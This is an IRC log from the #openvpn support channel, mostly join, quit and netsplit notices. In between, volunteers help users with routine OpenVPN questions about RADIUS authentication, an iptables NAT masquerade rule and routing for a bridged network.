19:03 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
19:03 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
19:03 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
19:03 -!- oc80z [oc80z@blea.ch] has joined #openvpn
19:03 -!- C_S_B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
19:03 -!- batrick_ [~batrick@batbytes.com] has joined #openvpn
19:03 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
19:03 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
19:03 -!- joshie [~josh@joshie.net] has joined #openvpn
19:03 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
19:04 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
19:04 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
19:04 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
19:04 -!- cronix [~cronix@HSI-KBW-046-005-192-177.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
19:04 -!- fatpony [~fatpony@unaffiliated/fatpony] has joined #openvpn
19:04 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
19:04 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
19:05 < jasonsmr> okey that seems to work the way that I want it to, now how do I setup the radius method becaus the radius method with the ca.srt server and client did not work for me,
19:05 <@krzee> radius method?
19:06 < jasonsmr> Im trying to setup a cluster and the VPN was just to have another method of communicating within the cluster
19:06 < jasonsmr> well apparently there was a method to authenticate using the radius server plugin opposed to the secrets file method
19:07 -!- joshie_ [~josh@joshie.net] has joined #openvpn
19:08 <@krzee> yep, have you read the docs on the radius plugin?
19:08 -!- penk [~dave@mcovernet.mosaic-commons.org] has joined #openvpn
19:08 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
19:08 -!- joshie [~josh@joshie.net] has quit [Ping timeout: 272 seconds]
19:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:11 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
19:12 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
19:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
19:14 -!- mode/#openvpn [+o vpnHelper] by ChanServ
19:14 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 272 seconds]
19:15 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 272 seconds]
19:15 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection]
19:15 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
19:16 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-yzqmsjdgbqggwoyb] has joined #openvpn
19:17 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 256 seconds]
19:18 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
19:19 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
19:19 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
19:20 -!- n2deep_ [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 245 seconds]
19:21 -!- pekster_ [~rewt@cl-466.chi-03.us.sixxs.net] has joined #openvpn
19:21 -!- pekster_ [~rewt@cl-466.chi-03.us.sixxs.net] has quit [Changing host]
19:21 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn
19:21 -!- penk [~dave@mcovernet.mosaic-commons.org] has quit [Quit: Leaving...]
19:21 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
19:21 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has quit [Ping timeout: 264 seconds]
19:21 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds]
19:21 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
19:21 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
19:22 -!- Netsplit *.net <-> *.split quits: cronix, ceda, fatpony
19:22 -!- thumbs is now known as httpd
19:23 -!- Netsplit over, joins: ceda
19:23 -!- httpd is now known as thumbs
19:23 -!- Netsplit over, joins: cronix
19:23 -!- Netsplit over, joins: fatpony
19:24 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
19:24 -!- Netsplit *.net <-> *.split quits: speed_racer8, _quadDamage, simcop2387, rob0, eres_, MeanderingCode_
19:24 -!- simcop2387_ is now known as simcop2387
19:25 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has joined #openvpn
19:26 -!- penk [~dave@97.95.190.204] has joined #openvpn
19:27 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xkuztbndblojovtg] has quit [Ping timeout: 256 seconds]
19:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
19:28 -!- MeanderingCode [~Meanderin@71-213-190-2.albq.qwest.net] has joined #openvpn
19:28 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 258 seconds]
19:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 258 seconds]
19:28 -!- tcamuso_ [~tcamuso@pool-71-161-82-88.cncdnh.east.myfairpoint.net] has quit [Ping timeout: 258 seconds]
19:29 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 258 seconds]
19:29 -!- tcamuso__ [~tcamuso@pool-71-161-82-88.cncdnh.east.myfairpoint.net] has joined #openvpn
19:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
19:29 -!- mode/#openvpn [+o vpnHelper] by ChanServ
19:29 -!- hazardous [~dbn@void.kassad.in] has quit [Ping timeout: 258 seconds]
19:29 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
19:30 -!- eres [~rs@83.167.228.121] has joined #openvpn
19:30 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 258 seconds]
19:30 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 258 seconds]
19:30 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
19:30 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
19:30 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
19:31 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 256 seconds]
19:31 -!- soapee01_ is now known as soapee01
19:31 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
19:32 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 258 seconds]
19:32 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
19:32 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Ping timeout: 256 seconds]
19:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
19:32 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 258 seconds]
19:32 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
19:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
19:32 -!- mode/#openvpn [+o vpnHelper] by ChanServ
19:32 -!- Ancient|2 [~ancient@us.whatbox.ca] has left #openvpn ["Leaving"]
19:33 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
19:33 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
19:33 -!- lmm [uid6417@gateway/web/irccloud.com/x-pdubufobwmodlaqn] has quit [Ping timeout: 256 seconds]
19:33 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
19:33 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has quit [Ping timeout: 258 seconds]
19:34 -!- js_ [~js@li503-152.members.linode.com] has quit [Ping timeout: 258 seconds]
19:34 -!- lmm [uid6417@gateway/web/irccloud.com/x-jbjiakelitrhoejp] has joined #openvpn
19:34 -!- Netsplit *.net <-> *.split quits: fatpony, inimino, joshie_
19:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:35 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 256 seconds]
19:36 -!- pppingme [~pppingme@65.28.110.103] has joined #openvpn
19:36 -!- pppingme [~pppingme@65.28.110.103] has quit [Changing host]
19:36 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
19:36 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 256 seconds]
19:36 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 258 seconds]
19:36 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 258 seconds]
19:37 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Client Quit]
19:37 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-wkuxkpkoldxkvqtz] has quit [Ping timeout: 245 seconds]
19:37 -!- tcamuso__ [~tcamuso@pool-71-161-82-88.cncdnh.east.myfairpoint.net] has quit [Ping timeout: 256 seconds]
19:38 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
19:38 -!- jzaw [~jzaw@2001:8b0:7:0:5054:ff:fe8e:3b24] has joined #openvpn
19:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
19:38 -!- fatpony [~fatpony@88-190-211-231.rev.dedibox.fr] has joined #openvpn
19:38 -!- fatpony [~fatpony@88-190-211-231.rev.dedibox.fr] has quit [Changing host]
19:38 -!- fatpony [~fatpony@unaffiliated/fatpony] has joined #openvpn
19:39 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Remote host closed the connection]
19:39 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
19:39 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
19:39 -!- js_ [~js@176.58.116.152] has joined #openvpn
19:39 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
19:39 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 256 seconds]
19:39 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Changing host]
19:39 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
19:40 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
19:40 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 258 seconds]
19:40 -!- hazardous [~dbn@void.kassad.in] has quit [Ping timeout: 264 seconds]
19:41 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
19:41 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
19:41 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
19:41 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
19:41 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
19:41 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
19:41 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
19:41 -!- mode/#openvpn [+o vpnHelper] by ChanServ
19:41 -!- hazardous [~dbn@void.kassad.in] has joined #openvpn
19:41 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Read error: Connection reset by peer]
19:41 -!- AsadH [~AsadH@irc.unixio.com] has joined #openvpn
19:41 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
19:41 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
19:41 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
19:41 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
19:42 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 256 seconds]
19:42 -!- pekster_ is now known as pekster
19:43 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
19:43 -!- SuperGauntlet [~SuperGaun@d14-69-67-219.try.wideopenwest.com] has joined #openvpn
19:43 < SuperGauntlet> !tcp
19:43 < SuperGauntlet> shoot, wrong one. Is it !forwarding?
19:43 < SuperGauntlet> !forwarding
19:44 <@krzee> !ping
19:44 <@krzee> freenode issues
19:44 -!- js__ [~js@li503-152.members.linode.com] has joined #openvpn
19:44 -!- oc80z [oc80z@blea.ch] has joined #openvpn
19:44 < SuperGauntlet> damn.
19:44 -!- mete [~mete@mete.shell.la] has joined #openvpn
19:44 <@krzee> what are you looking for?
19:44 < SuperGauntlet> uhh, what's the iptables command to route traffic as a NAT through the router?
19:44 < SuperGauntlet> it had masquerade at the end IIRC
19:44 < SuperGauntlet> I have ipv4 forwarding turned on in sysctl
19:45 -!- joshie [~josh@joshie.net] has joined #openvpn
19:45 -!- inimino [~inimino@oftn/board/inimino] has joined #openvpn
19:45 <@krzee> iptables -t nat -A POSTROUTING -s $PRIVATE -o eth0 -j MASQUERADE
19:45 <@krzee> assuming $private is your vpn subnet
19:45 < SuperGauntlet> Where $private is like 10.8.whatever?
19:45 <@krzee> ya
19:45 < SuperGauntlet> i think in this case 10.8.0.0/24
19:45 <@krzee> don't forget to enable ip forwarding as well
19:45 < SuperGauntlet> whatever default is
19:45 <@krzee> yes ^
19:46 <@krzee> there is no default
19:46 -!- joshie is now known as Guest16753
19:46 <@krzee> its whatever you used in --server
19:46 < SuperGauntlet> the server line is 10.8.0.0 255.255.255.0
19:46 < SuperGauntlet> so 10.8.0.0/24, correct?
19:46 <@krzee> yes
19:47  * krzee kicks vpnHelper 
19:47 <@krzee> !ping
19:47 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has joined #openvpn
19:47 -!- cronix2 [~cronix@HSI-KBW-046-005-192-177.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
19:48 < SuperGauntlet> Alright, works, thanks
19:48 -!- kantlive- [~kantlivel@home.kantlivelong.com] has joined #openvpn
19:48 <@krzee> yw
19:48 < SuperGauntlet> I should automate that
19:48 < SuperGauntlet> maybe add it in the openvpn init script or something dumb like that
19:50 < pekster> krzee: FYI, massive delays all over. Nickserv (the real one, not some spoof) took a good 2 minutes to reply to me
19:50 < SuperGauntlet> yeah I see why UDP is recommended, I'm getting about 70% the speed of UDP with TCP
19:50 < SuperGauntlet> ping is about the same though.
19:50 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
19:50 -!- js_ [~js@176.58.116.152] has quit [Ping timeout: 258 seconds]
19:50 -!- cronix2 is now known as 18VAAWJLJ
19:50 -!- oc80z [oc80z@blea.ch] has quit [Read error: Connection reset by peer]
19:50 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 258 seconds]
19:50 -!- cronix [~cronix@HSI-KBW-046-005-192-177.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 258 seconds]
19:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
19:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
19:50 -!- mode/#openvpn [+o vpnHelper] by ChanServ
19:50 -!- oc80z [oc80z@blea.ch] has joined #openvpn
19:51 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 264 seconds]
19:51 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
19:52 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
19:53 <@krzee> pekster, did my message of thanks make it to you?
19:54 < pekster> Yup
19:54 <@krzee> cool =]
19:54 < pekster> We'll beat some cood coding practices into you yet ;)
19:54 <@krzee> one day ;]
19:54 < pekster> good*
19:55 < pekster> Development: where all the bugs happen^wget fixed
19:55 <@krzee> lol
20:00 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
20:02 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has quit [Ping timeout: 245 seconds]
20:03 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
20:04 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
20:05 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
20:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 258 seconds]
20:07 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 258 seconds]
20:08 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
20:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
20:08 -!- mode/#openvpn [+o vpnHelper] by ChanServ
20:08 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
20:08 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
20:08 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
20:08 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
20:09 -!- Netsplit *.net <-> *.split quits: piele, Olipro, [fred]
20:13 -!- Netsplit over, joins: Olipro, [fred]
20:13 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
20:19 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
20:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:20 -!- kmmndr [~tomtom@bro67-2-82-227-110-8.fbx.proxad.net] has joined #openvpn
20:20 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
20:20 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
20:20 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
20:20 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
20:21 < nsx> Hey guys, this is my situation: 2 interfaces eth0 [172.22.22.0/24] and br0(eth1+tap0) [172.23.23.0/24]. clients connect via the eth0 interface and are bridged onto the 23.23 network. Clients on the 23.23 network are able to communicate with hosts on the 22.22 network, but "ping -I br0 172.22.22.1" doesnt work. So i'm guessing routing issues - any ideas?
20:22 < nsx> maybe pekster has an idea? You usually do
20:24 <@krzee> does 172.22.22.1 know what machine it needs to send traffic to in order to reach the vpn subnet?
20:24 <@krzee> i don't do bridges but my first guess would be !route_outside_ovpn
20:24 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:24 <@krzee> !route_outside_ovpn
20:24 <@krzee> (if vpnHelper answers)
20:24 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
20:27 -!- tabakhase [t4b4kh453@unaffiliated/tabakhase] has quit [Ping timeout: 264 seconds]
20:27 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has joined #openvpn
20:28 -!- Netsplit *.net <-> *.split quits: batrick_, kantlive-
20:28 < nsx> hmm it should, but wait a minute
20:28 -!- havoc_ [~havoc@neptune.chaillet.net] has joined #openvpn
20:28 -!- havoc [~havoc@208.87.120.111] has quit [Ping timeout: 264 seconds]
20:29 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
20:30 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 252 seconds]
20:30 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
20:31 -!- Guest16753 [~josh@joshie.net] has quit [Remote host closed the connection]
20:31 -!- joshie_ [~josh@joshie.net] has joined #openvpn
20:31 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Client Quit]
20:32 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
20:33 -!- Netsplit *.net <-> *.split quits: Cr4zi3
20:33 -!- Netsplit *.net <-> *.split quits: Wintereise, jave, ScriptFanix
20:33 -!- Netsplit *.net <-> *.split quits: [fred], Olipro, piele
20:36 -!- Netsplit over, joins: Cr4zi3
20:38 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:38 -!- [fred] [fred@konfuzi.us] has joined #openvpn
20:39 -!- Netsplit *.net <-> *.split quits: Olipro, [fred]
20:39 -!- fatpony [~fatpony@unaffiliated/fatpony] has left #openvpn []
20:39 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
20:39 -!- batrick_ [~batrick@nmap/developer/batrick] has joined #openvpn
20:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
20:40 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
20:40 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 258 seconds]
20:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
20:40 -!- mode/#openvpn [+o vpnHelper] by ChanServ
20:41 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Ping timeout: 240 seconds]
20:41 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has quit [Ping timeout: 240 seconds]
20:41 < nsx> krzee: think you just helped me one step closer a solution :) thx!
20:41 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
20:42 -!- nsx [~ns@87-57-145-221-dynamic.dk.customer.tdc.net] has quit [Quit: nsx]
20:42 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
20:42 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Excess Flood]
20:43 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
20:43 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
20:45 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has joined #openvpn
20:46 -!- Netsplit over, joins: Olipro, [fred]
20:46 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
20:47 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
20:50 -!- joshie [~josh@199.167.120.240] has joined #openvpn
20:55 -!- sitaktif1 [~sitaktif@kollok.org] has joined #openvpn
20:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:56 -!- joshie__ [~josh@joshie.net] has joined #openvpn
20:57 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 264 seconds]
20:59 -!- Willis [Willis@173.234.237.131] has joined #openvpn
21:02 -!- Netsplit *.net <-> *.split quits: Wintereise
21:02 -!- Netsplit *.net <-> *.split quits: [fred]
21:04 -!- jasonsmr [~Administr@c-68-61-42-207.hsd1.mi.comcast.net] has quit [Quit: Lost terminal]
21:07 -!- havoc_ [~havoc@neptune.chaillet.net] has quit [Ping timeout: 258 seconds]
21:08 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
21:08 -!- emmanuel__ [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
21:08 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:09 -!- joshie_ [~josh@joshie.net] has quit [Ping timeout: 684 seconds]
21:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
21:09 -!- penk [~dave@97.95.190.204] has quit [Quit: Leaving...]
21:10 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
21:10 -!- mode/#openvpn [+o vpnHelper] by ChanServ
21:11 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
21:11 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
21:11 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
21:11 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 258 seconds]
21:11 -!- joshie [~josh@199.167.120.240] has quit [Ping timeout: 253 seconds]
21:12 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
21:14 -!- Olipro_ [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
21:14 -!- [fred] [fred@konfuzi.us] has joined #openvpn
21:14 -!- Olipro_ [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Max SendQ exceeded]
21:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
21:17 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
21:21 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 258 seconds]
21:21 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer]
21:24 -!- AsadH [~AsadH@irc.unixio.com] has joined #openvpn
21:25 < SuperGauntlet> man what kind of jerk DDoSes freenode?
21:25 < SuperGauntlet> -_-
21:25 -!- SuperGauntlet [~SuperGaun@d14-69-67-219.try.wideopenwest.com] has quit [Quit: Leaving]
21:26 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
21:26 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
21:26 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 256 seconds]
21:27 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has quit [Ping timeout: 256 seconds]
21:29 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Ping timeout: 256 seconds]
21:33 -!- Netsplit *.net <-> *.split quits: tjz, havoc
21:33 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
21:34 -!- HectorBarbossa [~uid7850@gateway/web/irccloud.com/session] has joined #openvpn
21:34 -!- HectorBarbossa [~uid7850@gateway/web/irccloud.com/session] has quit [Changing host]
21:34 -!- HectorBarbossa [~uid7850@gateway/web/irccloud.com/x-qtpmfgmmzknmvzeh] has joined #openvpn
21:34 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
21:34 -!- havoc_ [~havoc@neptune.chaillet.net] has joined #openvpn
21:34 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
21:34 -!- batrick_ is now known as batrick
21:34 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
21:34 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
21:35 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
21:35 -!- Netsplit *.net <-> *.split quits: Olipro, [fred]
21:36 -!- Netsplit over, joins: Olipro, [fred]
21:36 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
21:36 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-rjsxcaghxmqzqazi] has joined #openvpn
21:36 -!- tabakhase_ [t4b4kh453@rps9289.ovh.net] has joined #openvpn
21:40 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Read error: Operation timed out]
21:41 -!- Rough_ [Ah2k@114.31.8.194] has quit [Read error: Connection reset by peer]
21:41 -!- Ah2k_ [Ah2k@114.31.8.194] has joined #openvpn
21:41 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/session] has joined #openvpn
21:41 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
21:41 -!- bkrieg1337_ [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
21:41 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/session] has quit [Changing host]
21:41 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/x-wubrdangrskrivay] has joined #openvpn
21:42 -!- bkrieg1337 [~bkrieg133@li515-89.members.linode.com] has quit [Read error: Connection reset by peer]
21:42 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
21:43 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 256 seconds]
21:43 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
21:43 -!- HectorBarbossa [~uid7850@gateway/web/irccloud.com/x-qtpmfgmmzknmvzeh] has quit [Ping timeout: 258 seconds]
21:44 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 258 seconds]
21:46 -!- HectorBarbossa_ is now known as HectorBarbossa
21:47 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
21:47 -!- havoc_ [~havoc@neptune.chaillet.net] has quit [Ping timeout: 252 seconds]
21:47 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
21:47 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
21:47 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
21:48 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
21:49 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
21:49 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
21:49 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
21:51 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
21:51 -!- bkrieg1337__ [~bkrieg133@li515-89.members.linode.com] has joined #openvpn
21:51 -!- bkrieg1337_ [~bkrieg133@li515-89.members.linode.com] has quit [Read error: Connection reset by peer]
